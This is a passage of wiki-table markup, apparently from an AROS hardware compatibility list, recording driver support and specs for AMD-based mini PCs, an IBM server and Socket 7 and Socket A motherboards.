| &lt;!--SATA--&gt;cant boot from installed SSDs unless its an M.2 
| &lt;!--Gfx--&gt;AMD Vega 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|USB3}} 
| &lt;!--Ethernet--&gt;1 or 2 Realtek 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2021 64bit 4700U or 5900HX 
|-
| &lt;!--Name--&gt;MSI PRO DP20Z 5M Mini PC - AMD Ryzen 5 5300G
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Realtek 2.5G LAN RTL8125}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2018-2021 R3 3200G Vega 8 - R5 3400G Vega 11 - Ryzen 5 5600G Vega 7 - Athlon 3000G
|-
| &lt;!--Name--&gt;Minisforum UM450 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;Vega 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;{{No|Realtek 2.5G LAN RTL8125}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - Ryzen 4500U - 
|-
| &lt;!--Name--&gt;Gigabyte Brix 
GB-BRR7-4800 (rev. 1.0)
GB-BRR7-4700 (rev. 1.0)
GB-BRR5-4500 (rev. 1.0)
GB-BRR3-4300 (rev. 1.0)
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|}}
| &lt;!--Ethernet--&gt;Realtek 2.5G LAN RTL8125
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;ASUS PN50 mini PC AMD Ryzen 7 4700U
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vega 
| &lt;!--Audio--&gt;HD audio with  codec 
| &lt;!--USB--&gt;{{maybe|3.1 gen1}} 
| &lt;!--Ethernet--&gt;{{No|realtek 2.5GbE}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - 
|-
| &lt;!--Name--&gt;ASUS PN51-S1 mini PC AMD Ryzen 7 5700U
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;Vega thru dp or hdmi 
| &lt;!--Audio--&gt;HD audio with  codec 
| &lt;!--USB--&gt;{{maybe|3.1 gen1}} 
| &lt;!--Ethernet--&gt;{{No|realtek 2.5GbE}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - 19v or 19.5v 90w psu round barrel - 32gb ddr4 sodimm - 
|-
| &lt;!--Name--&gt;Minis Forum Bessstar Tech EliteMini B550 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 x 2.5in and 2 nvme  
| &lt;!--Gfx--&gt;Vega 8 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|4 usb3.1}}
| &lt;!--Ethernet--&gt;{{No|realtek 8125 2.5GbE}}  
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit AMD 4700G 5700G desktop cpu - 19v 120w round barrel - 
|-
| &lt;!--Name--&gt;ASRock A300 and later X300 Mini itx with Desktop AM4 socket 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;Vega 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;1GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - choose your own AMD APU GE 35w based - DDR4 - 
|-
| &lt;!--Name--&gt;ASRock 4x4 BOX-5800U Zen 3-based AMD Ryzen 7 5800U 15W - 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;m.2 slot gen 3 and sata 
| &lt;!--Gfx--&gt;vega 
| &lt;!--Audio--&gt;HD audio  with codec 
| &lt;!--USB--&gt;{{maybe|}}
| &lt;!--Ethernet--&gt;{{Maybe|1 GbE and 1 2.5GbE}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - WiFi 6E - 
|-
| &lt;!--Name--&gt;Topton S500+ Gaming Mini PC - Morefine S500+ 5900HX Mini PC - Minisforum UM590 Ryzen AMD Zen3 Ryzen 9 5900HX 7 5800H 45W - 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 nvme 1 sata 
| &lt;!--Gfx--&gt;Vega 8 thru HDMI 2.0, DP 1.4, and USB type-C 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;{{maybe|usb3.1}}
| &lt;!--Ethernet--&gt;{{Maybe|1 realtek rtl 8111h and 1 8125 2.5GbE bg-cg}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - 2 sodimm ddr4 3200MHz - 
|-
| &lt;!--Name--&gt;Chuwi RzBox later Ubox 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 nvme 
| &lt;!--Gfx--&gt;Vega 8 later to 660m vga, dp, hdmi 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;{{maybe|usb-c usb2}} 
| &lt;!--Ethernet--&gt;dual gigabit 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 2025 64bit amd 5800h 4800h 6600H - 90w psu - 
|-
| &lt;!--Name--&gt;Beelink Mini PC SER5, Trigkey AZW S5, Asus PN52, ZHI BEN MX-JB560, 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;PCIe3 M.2 2280 nvme 
| &lt;!--Gfx--&gt;AMD Vega 6 with 1 or 2 hdmi 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;{{maybe|USB3.0}} 
| &lt;!--Ethernet--&gt;{{Maybe|Realtek 1GbE}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit 5500U 5560u 5600U to PRO 5600H 5800H - 19v 3.42W 65W psu - 
|-
| &lt;!--Name--&gt;NIPOGI Kamrui ACEMAGICIAN AM06PRO Dual LAN Mini PC AMD Ryzen 7 5800U, 5 5500U or 5600U/5625U
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;M.2 and 2.5in sata 
| &lt;!--Gfx--&gt;Vega 7 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;2 GbE ports 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - plastic build - 90w usb-c power - loud at 25W setting - 
|-
| &lt;!--Name--&gt;Topton FU02 Fanless Mini PC AMD Ryzen 7 4700U 5600U 5800U 8 Core 16 Threads
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe and 2.5in sata 
| &lt;!--Gfx--&gt;Vega
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;4 3.0 with 2 2.0 
| &lt;!--Ethernet--&gt;2 x 1G
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64 - 2 ddr4 sodimm slots - fanless with copper cube from cpu to metal sheet which gets warm 
|-
| &lt;!--Name--&gt;Xuu XR1 Lite (5300u 4c 8t) PRO 5400U   MAX 5600U  
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 NVMe 2242 slot 
| &lt;!--Gfx--&gt;Vega 6
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;2 3.0 
| &lt;!--Ethernet--&gt;1G
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64 quiet fan - very small case no expansions - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;MINISFORUM UM690 Venus Series 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;pcie4 nvme 2280 and 1 sata3 2.5in 
| &lt;!--Gfx--&gt;680m RNDA2 12CU with 2 hdmi 
| &lt;!--Audio--&gt;HD Audio with codec 
| &lt;!--USB--&gt;{{maybe|1 USB4 and 2 USB3.2}} 
| &lt;!--Ethernet--&gt;{{No|2.5G LAN}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit 6900hx 8C16T - 2 ddr5 sodimmm - 19v ???W - 
|-
| &lt;!--Name--&gt;Beelink Mini PC GTR6 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;PCIe4
| &lt;!--Gfx--&gt;AMD 680M RDNA2 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;USB3.2 
| &lt;!--Ethernet--&gt;{{No|Realtek 2.5GbE or intel i225}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit Ryzen 9 6900HX Zen3+ and a 2gb Radeon 680m 12CU ddr5 sodimm - 19v 120w psu - 
|-
| &lt;!--Name--&gt;Asus PN53, Geekom AS 6, 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;pcie gen4 nvme and ata 2.5in
| &lt;!--Gfx--&gt;680m RNDA2 12CU with 2 hdmi and 1 dp
| &lt;!--Audio--&gt;HD Audio with codec 
| &lt;!--USB--&gt;{{maybe|2 usb-c, 2 USB2.1 and 3 USB3.2}} 
| &lt;!--Ethernet--&gt;{{No|1G LAN}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit 6900hx 8C 16T - 2 slots ddr5 sodimmm (64Gb max) - 19v 120W - 4 retained base screws beware ribbon cable - 
|-
| &lt;!--Name--&gt;Micro Computer (HK) Tech Ltd MinisForum UM773 Lite later UM750L slim, GMKtec K2 Mini PC 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe PCIe4.0 
| &lt;!--Gfx--&gt;RDNA 
| &lt;!--Audio--&gt;HD Audio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;2.5GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2023 2025 64bit - AMD Zen 3+ (8c 16t) Ryzen 7 7735HS, 7840HS and AMD Ryzen 9 7845HX AMD Ryzen™5 7545U (6c12t) - 19v up to 120w ac adapter - ddr5 sodimm 4800Mhz - 
|-
| &lt;!--Name--&gt;[https://www.asrockind.com/en-gb/4x4 ASrock 4x4 SBC] 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;sata or nvme 
| &lt;!--Gfx--&gt;Vega or 680M 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 or USB4 
| &lt;!--Ethernet--&gt;Realtek 1GbE or intel 2.5GbE
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2022 64bit - 
|-
| &lt;!--Name--&gt;Beelink Mini PC GTR7 SER7 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;PCIe4 nvme 2280 up to 2Tb
| &lt;!--Gfx--&gt;AMD 780M RDNA3 GPU output on hdmi and dp 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3.2 
| &lt;!--Ethernet--&gt;{{No|1 or 2 2.5GbE}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2023 64bit AMD Phoenix APUs Zen 4 CPU Ryzen 7 7840HS or 9 7940HS (8c 16t) - 19v 5.26A 120w psu - del dios setup f7 choose boot - 2 usb-c on back - up to 64gb via 2 ddr5 sodimm slots - 
|-
| &lt;!--Name--&gt;MINISFORUM BD770i Ryzen 7 7745HX (8c16t) or BD795i SE 790i 9 7945HX (16c32t) or F1FXM_MB_V1.1 795M LGA1700 mATX 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 NVMe 
| &lt;!--Gfx--&gt;Radeon 610m over usb-c, dp or hdmi 
| &lt;!--Audio--&gt;HDAudio  with codec 
| &lt;!--USB--&gt;USB3 with 2 rear USB2 
| &lt;!--Ethernet--&gt;Realtek 2.5G 
| &lt;!--Test Distro--&gt;
| &lt;!--Opinion--&gt;2024 mini-ITX M/B is the first MoDT (Mobile on Desktop) with soldered AMD CPU - 2 dual PCIe4.0 M.2 slots - 2 ddr5 sodimm slots max 5200Mhz - 8pin cpu power - battery not easily replaceable underneath - 
|-
| &lt;!--Name--&gt;Minisforum ms-a1 MS-a2 
* 5700G to 8700G apu 
* 9955HX
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 nvme 
| &lt;!--Gfx--&gt;AMD 610M 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;dual 2.5GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2024 64bit - 19v ?A round barrel jack - 2 ddr5 so-dimm slots - 
|-
| &lt;!--Name--&gt;AOOSTAR GT68 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Nvme 
| &lt;!--Gfx--&gt;680m 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;2 2.5Gb 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 Ryzen7 Pro 6850H, 
|-
| &lt;!--Name--&gt;NextSBC 7840HS 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;Nvme 
| &lt;!--Gfx--&gt;AMD 780M 12CU 
| &lt;!--Audio--&gt;HDAudio with codec 
| &lt;!--USB--&gt;USB4 and USB 3.2  
| &lt;!--Ethernet--&gt;2 GbE 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 32Gb soldered - 
|-
| &lt;!--Name--&gt;Firebat A6 R7 6800H
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 680M
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3
| &lt;!--Ethernet--&gt;rtl8169 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 
|-
| &lt;!--Name--&gt;Minisforum UM760 7640HS 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 760 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;rtl8169 and 2.5Gb 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 
|-
| &lt;!--Name--&gt;Peladn WO4 Mini PC 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 760 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit 7640HS - 19v 5.26A 120W - 
|-
| &lt;!--Name--&gt;BossGame M4 Neo 7840HS 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 780 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 
|-
| &lt;!--Name--&gt;Minisforum UM870 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVme || &lt;!--Gfx--&gt;AMD 780M || &lt;!--Audio--&gt;HDaudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;2.5GbE || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2025 64bit - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;GEEKOM A8 Max AI Mini PC AMD Ryzen™ 9 8945HS, Ryzen™ 7 8845HS or 8745HS 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVme 
| &lt;!--Gfx--&gt;AMD 780M 
| &lt;!--Audio--&gt;HDAudio with codec 
| &lt;!--USB--&gt;{{maybe| USB4}}
| &lt;!--Ethernet--&gt;{{No|Dual 2.5 G Ethernet ports}} 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - 
|-
| &lt;!--Name--&gt;Beelink SER 9 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVme 
| &lt;!--Gfx--&gt;Radeon 890M
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;{{No| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - Ryzen AI HX 370 strix point - 
|-
| &lt;!--Name--&gt;GMKtec EVO-X2 mini pc 
| &lt;!--IDE--&gt;{{n/a}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 8060S iGPU RDNA3.5 RADV GFX1151 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;{{No| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - amd ryzen AI Max+ 395 (16c32t) strix halo - 
|-
| &lt;!--Name--&gt;BosGame M5 
| &lt;!--IDE--&gt;{{n/a}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 8060S iGPU RDNA3.5 RADV GFX1151 
| &lt;!--Audio--&gt;HDaudio 
| &lt;!--USB--&gt;USB4 
| &lt;!--Ethernet--&gt;{{No| }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2025 64bit - amd ryzen AI Max+ 395 (16c32t) - 
|-
| &lt;!--Name--&gt;Steam Machine GabeCube 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;semi-custom 1080p amd 7600m like with 28cu 8gb ddr6 gddr 10GFlops 
| &lt;!--Audio--&gt;hdaudio with codec 
| &lt;!--USB--&gt;usb3
| &lt;!--Ethernet--&gt;{{maybe|rtl8169}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2026 64bit amd 1772 hawk point2 6c12t zen4 avx512 FP7 socket with FCH51 - 16gb ddr5 - 
|-
| &lt;!--Name--&gt;AMD Ryzen AI Halo Developer Platform Workstation 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2026 64bit - amd ryzen AI Max+ 395 (16c32t) - 
|-
| &lt;!--Name--&gt;GMKtec EVO-X1 PRO 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 890M with HDMI 2.1 and DP 2.1 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB4 40G and USB3 10G 
| &lt;!--Ethernet--&gt;2xIntel  
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2026 64bit - AMD Ai 9 HX 470 Gorgon Point 12c 24t - 19v 120w - DDR5 - 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2026 64bit - AMD Ai MAX+ 495 Gorgon Halo - 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|}


===Server Systems===

[[#top|...to the top]]

====IBM====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;15%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;xSeries 206m
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{yes}}
| &lt;!--Gfx--&gt;{{Maybe|ATI RN50b (VESA only)}}
| &lt;!--Audio--&gt;{{n/a}}
| &lt;!--USB--&gt;{{yes|USB 2.0 (UHCI/EHCI)}}
| &lt;!--Ethernet--&gt;{{no|Broadcom}}
| &lt;!--Test Distro--&gt;Nightly Build 2014-09-27
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
|}


===Motherboard===

[[#top|...to the top]]


* Late 2002, USB2.0 added and slightly better AROS sound support (AC97) appeared 
* 2002-2005 and still, to a limited extent, ongoing [http://en.wikipedia.org/wiki/Capacitor_plague bad capacitors] 
* Late 2003, ATX PSUs moved from 5V to 12v rails (extra 4pin on motherboard for CPU) 


* Late 2005, PCI Express replaced AGP and HDAudio replaced AC97 
* Late 2007, ATX PSUs added extra 12V PCI-E connectors and 4+4pin for CPUs 
* Late 2010, USB3.0 appears on motherboards or needing a PCI-E motherboard slot 

* Late 2014 Hardware USB2 removed from USB3 chipsets 


====AMD Sockets====

[[#top|...to the top]]


=====Socket 7 (1997/1999)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;1997 VT82C586B (QFP-208) is the first from VIA with DDMA
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2000 VT82C686 has close to excellent DDMA support
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;SiS 5581/5582
SiS 5591/5595
SiS 530 /5595
SiS 600/5595
SiS 620/5595
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket A 462 (2001/4)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;[http://www.sharkyextreme.com/hardware/motherboards/article.php/2217921/ABIT-NF7-S-nForce2-Motherboard-Review.htm Abit NF7-S] 
| &lt;!--Chipset--&gt;nForce 2 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;SIL 3112A  
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|ALC650 AC97 (Nvidia APU)}}
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;Realtek RTL 8201LB  
| &lt;!--Opinion--&gt;Firewire Realtek RTL8801B 
|-
| &lt;!--Name--&gt;ASRock K7NF2
| &lt;!--Chipset--&gt;nforce2 ultra 400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{yes|AGP 8x}}
| &lt;!--Audio--&gt;CMedia CMI 9761A AC'97
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;Realtek 8201 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASRock K7S8X
| &lt;!--Chipset--&gt;SIS 746FX 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{yes|AGP 8x}}
| &lt;!--Audio--&gt;{{yes|AC'97 cmedia}}
| &lt;!--USB--&gt;{{maybe|USB2.0 works but does not boot}}
| &lt;!--Ethernet--&gt;{{yes|SiS900}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASRock K7S41GX
| &lt;!--Chipset--&gt;SIS 741GX + DDR 333
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|onboard sis does not work with vga or vesa but AGP 8x works}}
| &lt;!--Audio--&gt;{{yes|AC97 SIS 7012}} 
| &lt;!--USB--&gt;{{maybe|USB2.0 works but does not boot}}
| &lt;!--Ethernet--&gt;{{yes|SiS 900}}
| &lt;!--Opinion--&gt;works ok
|-
| &lt;!--Name--&gt;[http://www.asus.com ASUS A7N8X] 
| &lt;!--Chipset--&gt;nForce2 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;Silicon Image Sil 3112A
| &lt;!--Gfx--&gt;1 AGP slot 
| &lt;!--Audio--&gt;{{yes|ac97 ALC650}}
| &lt;!--USB--&gt;{{yes|ehci USB2.0}} 
| &lt;!--Ethernet--&gt;{{yes|rtl8201BL - nforce}}
| &lt;!--Opinion--&gt;first total support for AROS in 2004/5 - damocles and M Schulz 
|-
| &lt;!--Name--&gt;Biostar M7NCD
| &lt;!--Chipset--&gt;nForce2 Ultra 400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|ALC650 AC97}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{yes|RTL8201BL}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Chaintech 7NJS Ultra Zenith
| &lt;!--Chipset--&gt;nForce2 Ultra 400
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Promise PDC 20376  
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|CMI8738}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;DFI Lanparty NF2 Ultra
| &lt;!--Chipset--&gt;nForce2 Ultra 400
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{no|via ac97 VT1616}} 
